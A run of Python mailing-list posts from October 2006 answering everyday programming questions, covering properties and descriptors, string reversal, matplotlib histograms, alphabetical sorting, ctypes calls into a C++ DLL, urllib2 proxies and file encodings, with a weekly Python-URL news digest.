References: <ehhvqa$48r$1@trompette.imag.fr>
Message-ID: <ehi0tm$p9f$03$1@news.t-online.com>

Sylvain Ferriol wrote:

> can you explain to me what happened:
> 
> class toto(object):
>    eq = float.__eq__
> 
> t = toto()
> 
> getattr(t,'eq')
> TypeError: descriptor '__eq__' for 'float' objects doesn't apply to
> 'toto' object

float.__eq__ is probably implemented in C and its operation will make sense
only for instances of float or subclasses of float. Try

>>> class Toto(float):
...     eq = float.__eq__
...
>>> Toto().eq(42)
False

Peter


From onurb at xiludom.gro  Tue Oct 17 10:51:31 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 16:51:31 +0200
Subject: Looking for assignement operator
In-Reply-To: <1161095199.354431.157660@e3g2000cwe.googlegroups.com>
References: <eh2n08$4ji$1@online.de>
	<1161095199.354431.157660@e3g2000cwe.googlegroups.com>
Message-ID: <4534edf4$0$24770$426a74cc@news.free.fr>

Jerry wrote:
(snip)
> I believe the property function is what you are looking for. 

It is not.

> e.g.
> 
> class MyClass:

Descriptors don't work fine with old-style classes. Should be:

class MyClass(object):

>     def __init__(self, val):
>         self.setval(val)
> 
>     def getval(self):
>         return self._val
> 
>     def setval(self, val):
>         assert(isinstance(val, int))
>         self._val = val
> 
>     _val = property(self.getval, self.setval)

NameError : self is not defined.
Should be :
_val = property(getval, setval)

but then - since setval() now calls _vals.__set__(), which itself calls
setval(), you have a nice infinite recursion (well, almost infinite -
hopefully, Python takes care of it).

May I kindly suggest that you learn more about properties and test your
code before posting ?-)

Anyway, even with the following correct code, this won't solve the OP's
question:
class MyClass(object):
    def __init__(self, val):
        self.val = val

    def _getval(self):
        return self._val

    def _setval(self, val):
        self._val = int(val)

    val = property(_getval, _setval)


m = MyClass(42)
m
=> <__main__.MyClass object at 0x2ae5eaa00410>
m.val
=> 42
m = 42
m
=> 42
type(m)
=> <type 'int'>


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From johnjsal at NOSPAMgmail.com  Tue Oct 10 13:04:50 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 10 Oct 2006 17:04:50 GMT
Subject: can regular ol' python do a php include?
In-Reply-To: <452bc3dd$0$29360$426a34cc@news.free.fr>
References: <mailman.221.1160494018.11739.python-list@python.org>
	<IiPWg.94$1n3.2328@news.tufts.edu>
	<452bc3dd$0$29360$426a34cc@news.free.fr>
Message-ID: <SoQWg.95$1n3.2153@news.tufts.edu>

Bruno Desthuilliers wrote:
> John Salerno wrote:
>> Jean-Paul Calderone wrote:
>>
>>> def include(filename):
>>>    print open(filename).read()
>>>
>>> include('header.html')
>>>
>>> Behold, the power of a general purpose programming language.
>>>
>>> Jean-Paul
>> Thanks, pretty good idea! But my guess is that I can't just use it this
>> way within an HTML file.
> 
> As the effbeot kindly mentionned, you cannot do any include in a HTML
> file - the HTML spec doesn't mention such a beast.
> 

Yeah, I just meant including a piece of PHP code in an otherwise HTML 
document (even though the file would be a .php file).


From Jeff.Demel at JavelinDirect.com  Thu Oct 19 12:30:24 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Thu, 19 Oct 2006 11:30:24 -0500
Subject: invert or reverse a string... warning this is a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEE9@DMSP-MSG-EVS01.mail.pvt>

John Salerno wrote:
>'m not steeped enough in daily programming to argue that it 
>sn't necessary, but my question is why do you need to 
>reverse strings? Is it something that happens often enough 
>to warrant a method for it?

I've been programming professionally for over 10 years, and have never
once needed to reverse a string.  Maybe it's a lack of imagination on my
part, but I can't think of a single instance this might be necessary.

However, if I did ever run across this need while using Python, it would
seem awkward to use [::-1], just from a clarity standpoint.  A
string.reverse() method would be a decent thing to have.

Just my $.02.

-Jeff

P.S.  How about a string.shuffle() method that splits the string in half
into two new strings str1 and str2, and then recompiles the string by
alternating one character from each str1 and str2 as it goes?  Like
shuffling cards.  ;)
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From onurb at xiludom.gro  Wed Oct 11 11:41:23 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 17:41:23 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <452ceef7@news.vo.lu>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu>
	<452cd561$0$19339$426a34cc@news.free.fr> <452ceef7@news.vo.lu>
Message-ID: <452d10a4$0$24798$426a74cc@news.free.fr>

Antoine De Groote wrote:
> Bruno Desthuilliers wrote:
>>> And what does property mean anyway? 
>>
>> See above. A property is a computed attribute : you access it like a
>> 'data' attribute, but it really uses getters/setters. The point here is
>> that client code doesn't know nor need to know if it's a plain attribute
>> or a computed one. This let you change implementation (turn a plain
>> attribute into a computed one) without breaking the API. So the real
>> thing is not "don't use getters and setters", but "don't bother with
>> getters and setters, you'll be able to add them transparently if and
>> when needed".
> 
> Ok great, now I understand. It's nice actually :-)
> 
> For anyone else trying this for the first time, the following might be
> interesting, as I had trouble with this at first:
> Don't forget to derive your class from object, otherwise properties
> won't work.

FWIW, I don't see the point of still using old-style classes (apart for
compat with old Python versions...)

>> As a side node, the getters/setters of a property are often either
>> marked as implementation (the _leading_underscore convention) or deleted
>> from the class's dict once the property is created or 'masked' one way
>> or another so they don't pollute the class's namespace.
> 
> You mean like manually removed from the dict?

Yes.

> Because (at least on the
> system I tried) it doesn't happen automatically. (Windwos XP, Python 2.5)


My usual idiom for properties is:

class MyClass(object):
  @apply
  def propname():
    def fget(self): return self._something * 2
    def fset(self, value): self._something = int(value) / 2
    return property(**locals())


(Don't remember where it comes from...)

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From amitsoni.1984 at gmail.com  Thu Oct 19 00:32:21 2006
From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com)
Date: 18 Oct 2006 21:32:21 -0700
Subject: Plotting histograms
In-Reply-To: <mailman.667.1161152743.11739.python-list@python.org>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
	<1161151268.753901.104750@k70g2000cwa.googlegroups.com>
	<mailman.667.1161152743.11739.python-list@python.org>
Message-ID: <1161232341.473676.221830@k70g2000cwa.googlegroups.com>

Thanks for the replies  ... its perfect now ... but just one more thing
... how can I plot another function(a semi circle) in the same
histogram?

thanks

amit


Robert Kern wrote:
> amitsoni.1984 at gmail.com wrote:
> > Thanks Robert,
> >
> > My previous problem is solved(I was using 'from matplotlib.pylab import
> > *') but now I am facing another problem. I want to plot the histogram
> > of eigenvalues calculated and I am using the following code:
> > _______________________________________________________________________
> > import numpy
> > from matplotlib import pylab
> >
> > n=100
> > ra = numpy.random
> > la = numpy.linalg
> >
> > A = ra.standard_normal((n,n))
> > S = (A + numpy.transpose(A))/(2*n^(1/2))
>
> Note that this line won't do what you think it does. First, one integer divided
> by another integer returns an integer, so (1/2) == 0. Also, ^ is not
> exponentiation but bitwise XOR. Use ** for exponentiation. However, in this
> case, you should use numpy.sqrt().
>
> > eig = la.eigvals(S)
> >
> > [N,x]=pylab.hist(eig, 10) # make a histogram
> > -------------------------------------------------------------------------------------------------------------
> >
> > But again it is giving some error, which is given below:
> >
> > File "C:\Documents and Settings\amitsoni\Desktop\New
> > Folder\wignerpython", line 15, in <module>
> > [N,x]=pylab.hist(eig, 10) # make a histogram
> > ValueError: too many values to unpack
> >
> > Can anyone help me out with this??
>
> pylab.hist() does not return two values, it returns three. Sorry I didn't catch
> that earlier.
>
> --
> Robert Kern
>
> "I have come to believe that the whole world is an enigma, a harmless enigma
>   that is made terrible by our own mad attempt to interpret it as though it had
>   an underlying truth."
>    -- Umberto Ec



From rrr at ronadam.com  Tue Oct 10 22:16:17 2006
From: rrr at ronadam.com (Ron Adam)
Date: Tue, 10 Oct 2006 21:16:17 -0500
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <452b17a7$1@nntp0.pdx.net>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net>
Message-ID: <8xYWg.5851$fl.4129@dukeread08>

Scott David Daniels wrote:
> James Stroud wrote:
>>> I'm looking for a program to do line-drawings in 3d, with output to 
>>> postscript or svg or pdf, etc. I would like to describe a scene with 
>>> certain 1-3d elements oriented in 3d space with dashed or colored 
>>> lines and filled or transparent surfaces (or maybe semitransparent).
> 
> 
> Take a look at VPython -- easy to start, 3-D display (wall-eye /
> cross-eye) easy to run on.

I really like VPython because of how easy it is to use once you are familiar 
with it.

Is there a way to have the display show a wire frame image instead of shaded 
shapes?  And with or without hidden line removal?

Is there an easy way to convert a display to something that can be printed?

Cheers,
    Ron




From hanumizzle at gmail.com  Fri Oct  6 03:08:21 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 03:08:21 -0400
Subject: Strange sorting error message
In-Reply-To: <HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<mailman.1214.1159929494.10491.python-list@python.org>
	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>
	<HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
Message-ID: <463ff4860610060008s185dc594m2ebf166903acf019@mail.gmail.com>

On 10/5/06, Neil Cerutti <horpner at yahoo.com> wrote:

> It was a joke, based on you hiding what you are doing, he decided
> to hide the solution to your problem. Get it?

What if it was for a proprietary software of some kind?

-- Theerasak


From fredrik at pythonware.com  Mon Oct 30 05:48:09 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 11:48:09 +0100
Subject: dict problem
In-Reply-To: <4545D637.6000205@helsinki.fi>
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>	<87y7r4mwso.fsf@benfinney.id.au>	<453F5401.3020607@helsinki.fi>
	<87pscgmrp1.fsf@benfinney.id.au> <4545D637.6000205@helsinki.fi>
Message-ID: <ei4l99$7tb$1@sea.gmane.org>

Alistair King wrote:

> Is there any other way of removing double and single quotes from a
> number, as a string, to give the float value again?

help(str) describes what you can do with a string (an object of type 
'str', that is).  among the methods listed, you'll find:

>  |  strip(...)
>  |      S.strip([chars]) -> string or unicode
>  |
>  |      Return a copy of the string S with leading and trailing
>  |      whitespace removed.
>  |      If chars is given and not None, remove characters in chars instead.
>  |      If chars is unicode, S will be converted to unicode before stripping

which looks like it should be pretty useful for this specific case:

 >>> value = "'0.064250000000001084'"
 >>> value
"'0.064250000000001084'"
 >>> value.strip("'")
'0.064250000000001084'
 >>> value.strip("'\"")
'0.064250000000001084'
 >>> float(value.strip("'\""))
0.064250000000001084

</F>



From rrr at ronadam.com  Mon Oct 16 14:23:36 2006
From: rrr at ronadam.com (Ron Adam)
Date: Mon, 16 Oct 2006 13:23:36 -0500
Subject: Alphabetical sorts
Message-ID: <4aQYg.6347$fl.1193@dukeread08>


I have several applications where I want to sort lists in alphabetical order. 
Most examples of sorting usually sort on the ord() order of the character set as 
an approximation.  But that is not always what you want.

The solution of converting everything to lowercase or uppercase is closer, but 
it would be nice if capitalized words come before lowercase words of the same 
spellings.  And I suspect ord() order may not be correct for some character sets.

So I'm wandering what others have done and weather there is something in the 
standard library I haven't found for doing this.

Below is my current way of doing it, but I think it can probably be improved 
quite a bit.

This partial solution also allows ignoring leading characters such as spaces, 
tabs, and underscores by specifying what not to ignore.  So '__ABC__' will be 
next to 'ABC'.  But this aspect isn't my main concern.

Maybe some sort of alphabetical order string could be easily referenced for 
various alphabets instead of having to create them manually?

Also it would be nice if strings with multiple words were ordered correctly.


Cheers,
   _Ron



def stripto(s, goodchrs):
     """ Removes leading and trailing characters from string s
         which are not in the string goodchrs.
     """
     badchrs = set(s)
     for c in goodchrs:
         if c in badchrs:
             badchrs.remove(c)
     badchrs = ''.join(badchrs)
     return s.strip(badchrs)


def alpha_sorted(seq):
     """ Sort a list of strings in 123AaBbCc... order.
     """
     order = ( '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNn'
               'OoPpQqRrSsTtUuVvWwXxYyZz' )
     def chr_index(value, sortorder):
         """ Make a sortable numeric list
         """
         result = []
         for c in stripto(value, order):
             cindex = sortorder.find(c)
             if cindex == -1:
                 cindex = len(sortorder)+ord(c)
             result.append(cindex)
         return result

     deco = [(chr_index(a, order), a) for a in seq]
     deco.sort()
     return list(x[1] for x in deco)


From python-url at phaseit.net  Mon Oct 16 19:20:56 2006
From: python-url at phaseit.net (Cameron Laird)
Date: Mon, 16 Oct 2006 23:20:56 +0000 (UTC)
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 16)
Message-ID: <eh144o$54u$1@lairds.us>

QOTW:  "Well, I haven't yet seen a definition of 'Integrated Development
Environment' which would exclude Emacs..." - Slawomir Nowaczyk

"Let me tell you: There are times when I'm really glad that as a German,
I'm not supposed to possess any sense of humour at all." - Georg Brandl


    Pythoneers will be talking about certification for quite a while:
	http://tarekziade.wordpress.com/2006/10/15/marketing-python-is-urgent-part-1-a-python-certification/
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/60dae5ab119c4a90/
	http://www.zope.org/Wikis/DevSite/Projects/ComponentArchitecture/Zope3SecurityEvaluation

    Greg Wilson's "Software Carpentry" is an important resource
    (even though I bristle at Greg's bad-mouthing of vi and emacs):
	http://www.swc.scipy.org/

    The Internet Hosting Cooperative supports "any and every thing
    Python":
	  http://groups.google.com/group/comp.lang.python/msg/f3c6068b873427bb

    Enthought Traits allow powerful GUI technique, and they're more
    usefully documented than many realize:
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/90e966185e548d51/


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    For far, FAR more Python reading than any one mind should
    absorb, much of it quite interesting, several pages index
    much of the universe of Pybloggers.
	http://lowlife.jp/cgi-bin/moin.cgi/PythonProgrammersWeblog
        http://www.planetpython.org/
        http://mechanicalcat.net/pyblagg.html

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Python411 indexes "podcasts ... to help people learn Python ..."
    Updates appear more-than-weekly:
        http://www.awaretek.com/python/index.html

    Steve Bethard continues the marvelous tradition early borne by
    Andrew Kuchling, Michael Hudson, Brett Cannon, Tony Meyer, and Tim
    Lesher of intelligently summarizing action on the python-dev mailing
    list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/python/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance.
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Kurt B. Kaiser publishes a weekly report on faults and patches.
        http://www.google.com/groups?as_usubject=weekly%20python%20patch

    Although unmaintained since 2002, the Cetus collection of Python
    hyperlinks retains a few gems.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
	http://www.python.org/dev/peps/pep-0042/

    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    del.icio.us presents an intriguing approach to reference commentary.
    It already aggregates quite a bit of Python intelligence.
        http://del.icio.us/tag/python

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topic/python/ (requires subscription)
  http://groups-beta.google.com/groups?q=python-url+group:comp.lang.python*&start=0&scoring=d&
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python
There is *not* an RSS for "Python-URL!"--at least not yet.  Arguments
for and against are occasionally entertained.


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".  Write to the same address to unsubscribe.


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.


From bj_666 at gmx.net  Sun Oct 22 09:06:08 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sun, 22 Oct 2006 15:06:08 +0200
Subject: How to print a file in binary mode
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
Message-ID: <pan.2006.10.22.13.06.08.86072@gmx.net>

In <1161519385.614985.311240 at m73g2000cwd.googlegroups.com>, Lucas wrote:

> I need print a file in binary mode .
> 
> f = f.open('python.jpg','rb')
> bytes = f.read()
> f.close()
> 
> print(bytes)
> 
> I can't get any binary code.

What do you mean by "binary code"?  If you use ``print repr(bytes)``
everything outside ASCII will be printed as escape sequence.

But why do you want to "print" JPEG images anyway?

Ciao,
	Marc 'BlackJack' Rintsch



From marc.wyburn at googlemail.com  Wed Oct 25 10:22:36 2006
From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com)
Date: 25 Oct 2006 07:22:36 -0700
Subject: batteries included
Message-ID: <1161786156.161481.306450@h48g2000cwc.googlegroups.com>

Could someone confirm that modules like socket don't use libraries/
dlls on a particular OS, they are completly self contained.

Thanks, Marc.



From Matthew.Warren at Digica.com  Tue Oct 17 09:33:19 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Tue, 17 Oct 2006 14:33:19 +0100
Subject: Any idea how to do this in Python?
In-Reply-To: <463ff4860610170335rd0935e2ic467299be82bb367@mail.gmail.com>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAA85@UKEX01.Digica.local>

> On 17 Oct 2006 02:56:45 -0700, Lad <python at hope.cz> wrote:
> >
> > Dennis,
> > Thank you for your reply
> > You say:
> > >Pretend you are the computer/application/etc.  How would YOU
> > > perform such a ranking?
> > That is what I do not know , how to perform such ranking.
> > Do you have any idea?
>  
Maybe something like,

As you capture the input from the web form in your python app on the
server, pull out the keywords you are interested in and store those
together with logon/user information in a database.

Alongside that, store the text for all your adverts in a database along
with a list of keywords for each advert.

Then, when it comes to displaying the targeted adverts on a webpage,
grab the user keywords from the database, use them to match against
adverts that have the same keywords stored in the database, then choose
from those adverts and include the output into your webpage.

Something like that should at least ensure the relevant ad's turn up on
the page. As to a more sophisticated 'weighting' scheme, you could start
doing things like associating values with keywords, matching up which
keywords a user has used against the keywords stored against different
ads, sum up the total score for each ad, the ads with the highest scores
based on the user keywords given should be displayed first..

I havent a clue if there are 'official' ways of doing it, but that's the
kind of thing I'd start looking at, anyhoo

Matt.

To the list: apologies for appended text, I  cant get to google groups
to post today :/



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From jweida at gmail.com  Tue Oct 17 10:44:14 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 07:44:14 -0700
Subject: How to invoke ipython in Mac OS X?
In-Reply-To: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
References: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
Message-ID: <1161096254.691132.222220@e3g2000cwe.googlegroups.com>

Did you install it with the --install-scripts command line option?  If
you did, then there will be a ipython script located in the
$INSTALL_SCRIPTS/bin directory.  If you didn't, then I think the
default location is /usr/lib/python or something like that.



From robert.kern at gmail.com  Mon Oct  2 14:18:25 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 13:18:25 -0500
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <1159809439.409720.105860@m73g2000cwd.googlegroups.com>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>	<1159803031.530669.105050@k70g2000cwa.googlegroups.com>	<mailman.1113.1159809093.10491.python-list@python.org>
	<1159809439.409720.105860@m73g2000cwd.googlegroups.com>
Message-ID: <efrl59$kn5$1@sea.gmane.org>

bearophileHUGS at lycos.com wrote:
> Me:
>>> def f(a, b, c):
>>>     map(int, [a, b, c])
>>>     ...code...
> 
> Robert Kern:
>> That won't do anything since the names a, b, and c are never rebound.
> 
> I think you are wrong. Try to give a "35.0" or a "hello" to that
> function f, and see the results.
> 
> What it does is to: "verify that three parameters can all be converted
> into integers, but it doesn't modify the parameters themselves" as the
> OP asked.

Point.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From osv at javad.com  Tue Oct 24 11:37:06 2006
From: osv at javad.com (Sergei Organov)
Date: Tue, 24 Oct 2006 19:37:06 +0400
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
Message-ID: <ehlbvm$rg9$1@sea.gmane.org>

"Odalrick" <odalrick at hotmail.com> writes:

> I need to draw visible lines on pictures with wxPython. That means I
> can't simply use, for instance, a black line since it wont be visible
> on a black or dark picture.
>
> Painting applications like the GIMP accomplish this by altering the
> colour of the line based on the colour of the pixel it covers, but the
> only way I can think of doing that is getting each pixel, transforming
> the colour then painting it on the screen, which seems like a horribly
> inefficient way do it.

There is a better way to do it. Check if the toolkit has line drawing
mode that XORs the line color with the background, then draw using this
mode and white color of the line.

-- Sergei.



From edreamleo at charter.net  Wed Oct  4 10:48:19 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 09:48:19 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
Message-ID: <WQPUg.8$Cr3.6@newsfe03.lga>

>> Can anyone tell me how the content handler can determine the encoding of 
>> the file?  Can sax provide this info?

> there is no encoding on the "inside" of an XML document; it's all Unicode.

True, but sax is reading the file, so sax is producing the unicode, so it 
should (must) be able to determine the encoding.  Furthermore, xml files 
start with lines like:

<?xml version="1.0" encoding="utf-8"?>

so it would seem reasonable for sax to be able to return 'utf-8' somehow. 
Am I missing something?

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From kgrafals at gmail.com  Tue Oct 17 10:55:35 2006
From: kgrafals at gmail.com (kgrafals at gmail.com)
Date: 17 Oct 2006 07:55:35 -0700
Subject: urllib.urlopen: Errno socket error
References: <1161022115.983554.76140@h48g2000cwc.googlegroups.com>
	<ePZYg.10561$Y24.6852@newsread4.news.pas.earthlink.net>
Message-ID: <1161096934.409100.282670@f16g2000cwb.googlegroups.com>

Dennis,

I tried a ProxyHandler with the following code ...

proxy_support = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_support)
urllib2.install_opener(opener)

... but it's giving me the same result.

Then I tried to tunnel using code from ...

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/213238

... but it too gave me an error ...

Traceback (most recent call last):
  File "<pyshell#7>", line 1, in <module>
    tunnel.run(tunnel_this)
  File "C:/Python25/My Python/PyTunnel.py", line 124, in run
    Threads.append( thread_it(tid=0,proxy=self.get_proxy(),\
  File "C:/Python25/My Python/PyTunnel.py", line 81, in get_proxy
    proxy.connect((self._phost,self._pport))
  File "<string>", line 1, in connect
gaierror: (11001, 'getaddrinfo failed')



From tkondal at gmail.com  Wed Oct  4 14:35:11 2006
From: tkondal at gmail.com (tkondal at gmail.com)
Date: 4 Oct 2006 11:35:11 -0700
Subject: Having trouble using CTypes with a custom function
In-Reply-To: <mailman.1280.1159986345.10491.python-list@python.org>
References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
	<mailman.1280.1159986345.10491.python-list@python.org>
Message-ID: <1159986910.925738.146560@i42g2000cwa.googlegroups.com>

Would you have any example of a wrapper for such data types?

Thanks.

Chris Mellon wrote:
> On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> > Hi all.
> >
> > I just started looking at Python's ctypes lib and I am having trouble
> > using it for a function.
> >
> > For starters, here's my Python code:
> >
> >
> > from ctypes import*;
> > myStringDLL= cdll.LoadLibrary("myStringDLL.dll");
> >
> > GetMyString = getattr(myStringDLL,
> > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z")
> >
> > strString =  create_string_buffer('\000' * 256);
> > GetMyString.restype = c_int;
> > GetMyString.argtypes = [c_char_p];
> >
> > bResult = GetMyString (strSerialNumber);
> >
> > print (bResult);
> > print (strSerialNumber);
> >
> > #C++ Prototype of the function I want to call:
> > #bool GetMyString (string& stringParam) ;
> >
> >
> >
> >
> > I do not have access to the source code of this function so don't ask
> > me to try different things in C++.  This DLL is working fine.
> >
> > The problem that I have is that print (strSerialNumber) does not seem
> > to print the correct string.  What I get is some garbage value of
> > unprintable characters.  Am I using this the correct way?
> >
>
>
>
>
> This function is expecting a C++ std::string object, not a regular C
> style string. You'll need a wrapper function, and one which uses the
> same compiler and STL as the C++ source.
>
> > Thanks.
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >



From bignose+hates-spam at benfinney.id.au  Fri Oct  6 19:33:30 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 07 Oct 2006 09:33:30 +1000
Subject: dictionary containing a list
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
Message-ID: <87irixc94l.fsf@benfinney.id.au>

"Ben" <Benjamin.Barker at gmail.com> writes:

> I have set up a dictionary into whose values I am putting a list. I
> loop around and around filling my list each time with new values,
> then dumping this list into the dictionary. Or so I thought...

Our crystal balls are notoriously unreliable for viewing program code
that hasn't been posted.

-- 
 \     "For man, as for flower and beast and bird, the supreme triumph |
  `\   is to be most vividly, most perfectly alive"  -- D.H. Lawrence. |
_o__)                                                                  |
Ben Finney



From jibalamy at free.fr  Mon Oct 23 07:05:04 2006
From: jibalamy at free.fr (Jiba)
Date: Mon, 23 Oct 2006 13:05:04 +0200
Subject: encoding of sys.argv ?
Message-ID: <20061023130504.26823717@autremonde>

Hi all,

I am desperately searching for the encoding of sys.argv.

I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is "utf-8". However, sys.argv is neither in ASCII (since I can pass French accentuated character), nor in UTF-8. It seems to be encoded in "latin-1", but why ?

Jiba


From paddy3118 at netscape.net  Mon Oct 23 03:05:37 2006
From: paddy3118 at netscape.net (Paddy)
Date: 23 Oct 2006 00:05:37 -0700
Subject: implementation of "in" that returns the object.
References: <mailman.939.1161527588.11739.python-list@python.org>
Message-ID: <1161587137.870228.303110@i42g2000cwa.googlegroups.com>

Jorge Vargas wrote:
> Hi
>
> I need to check if an object is in a list AND keep a reference to the
> object I have done it this way but is there a better one?
>
> >>> def inplusplus(value,listObj):
> ...     for i in listObj:
> ...             if i is value:
> ...                     return value
> ...     return False
> ...
> >>> l = [1,2,3,4]
> >>> print inplusplus(2,l)
> 2
> >>> print inplusplus(9,l)
> False
> >>> print inplusplus(1,l)
> 1
> >>> l.append(0)
> >>> print inplusplus(0,l)
> 0

You mentioned a ist of objects.
The following example will return the actual object matched in the ist
allowing you to later change any mutable object returned and see the
change reflected in the list:

>>> x = [[0], [1], [2]]
>>> y = [1]
>>> def inref(val, lst):
... 	try:
... 		return lst[ lst.index(val) ]
... 	except ValueError:
... 		return False
...
>>> z = inref(y, x)
>>> z
[1]
>>> z[0] = 33
>>> z
[33]
>>> x
[[0], [33], [2]]


Hope this helps - Paddy.



From alistair.king at helsinki.fi  Mon Oct 30 07:15:13 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Mon, 30 Oct 2006 14:15:13 +0200
Subject: dict problem
